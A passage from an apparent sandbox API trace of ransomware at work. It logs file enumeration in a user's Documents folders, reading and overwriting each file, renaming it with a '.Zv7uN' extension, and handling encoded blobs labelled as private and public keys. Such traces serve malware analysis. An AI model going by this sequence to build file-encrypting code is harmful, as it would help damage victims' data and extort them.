"c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.727] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.727] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.727] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x91a8 [0088.728] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.728] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x91a8, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x91a8, lpOverlapped=0x0) returned 1 [0088.730] CloseHandle (hObject=0x120) returned 1 [0088.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.733] WriteFile (in: hFile=0x120, lpBuffer=0x1f3fac0*, nNumberOfBytesToWrite=0x91a8, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f3fac0*, lpNumberOfBytesWritten=0x18ee48*=0x91a8, lpOverlapped=0x0) returned 1 [0088.735] CloseHandle (hObject=0x120) returned 1 [0088.736] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\5DJG.xls.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\5djg.xls.zv7un")) returned 1 [0088.736] GetCurrentThreadId () returned 0xa30 [0088.736] GetCurrentThreadId () returned 0xa30 [0088.736] GetCurrentThreadId () returned 0xa30 [0088.737] GetCurrentThreadId () returned 0xa30 [0088.737] GetCurrentThreadId () returned 0xa30 [0088.737] GetCurrentThreadId () returned 0xa30 [0088.737] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc23e9e00, ftCreationTime.dwHighDateTime=0x1d5da9a, ftLastAccessTime.dwLowDateTime=0x23d7d2f0, ftLastAccessTime.dwHighDateTime=0x1d5e1d8, ftLastWriteTime.dwLowDateTime=0x23d7d2f0, ftLastWriteTime.dwHighDateTime=0x1d5e1d8, nFileSizeHigh=0x0, nFileSizeLow=0x2127, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="608WYNFO5klObV.ots", cAlternateFileName="608WYN~1.OTS")) returned 1 [0088.737] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.737] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.737] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfea3570, ftCreationTime.dwHighDateTime=0x1d5da94, ftLastAccessTime.dwLowDateTime=0x46668cc0, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0x46668cc0, ftLastWriteTime.dwHighDateTime=0x1d5e229, nFileSizeHigh=0x0, nFileSizeLow=0x7b9f, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="C5a1Xl8LZSVJ.ppt", cAlternateFileName="C5A1XL~1.PPT")) returned 1 [0088.737] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.737] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.737] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfea3570, ftCreationTime.dwHighDateTime=0x1d5da94, ftLastAccessTime.dwLowDateTime=0x46668cc0, ftLastAccessTime.dwHighDateTime=0x1d5e229, ftLastWriteTime.dwLowDateTime=0x46668cc0, ftLastWriteTime.dwHighDateTime=0x1d5e229, nFileSizeHigh=0x0, nFileSizeLow=0x7b9f)) returned 1 [0088.737] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt")) returned 0x20 [0088.737] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt", dwFileAttributes=0x80) returned 1 [0088.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.741] GetCurrentThreadId () returned 0xa30 [0088.741] GetCurrentThreadId () returned 0xa30 [0088.741] GetCurrentThreadId () returned 0xa30 [0088.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.741] GetCurrentThreadId () returned 0xa30 [0088.741] GetCurrentThreadId () returned 0xa30 [0088.742] GetCurrentThreadId () returned 0xa30 [0088.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.742] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.742] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.742] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x7b9f [0088.742] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.742] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x7b9f, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x7b9f, lpOverlapped=0x0) returned 1 [0088.744] CloseHandle (hObject=0x120) returned 1 [0088.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\Jyh1PVUP5TT-PP\\C5a1Xl8LZSVJ.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\jyh1pvup5tt-pp\\c5a1xl8lzsvj.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.747] WriteFile (in: hFile=0x120, lpBuffer=0x1f3dac0*, nNumberOfBytesToWrite=0x7b9f, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f3dac0*, lpNumberOfBytesWritten=0x18ee48*=0x7b9f, lpOverlapped=0x0) returned 1 [0088.750] CloseHandle (hObject=0x120) returned 1 [0088.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 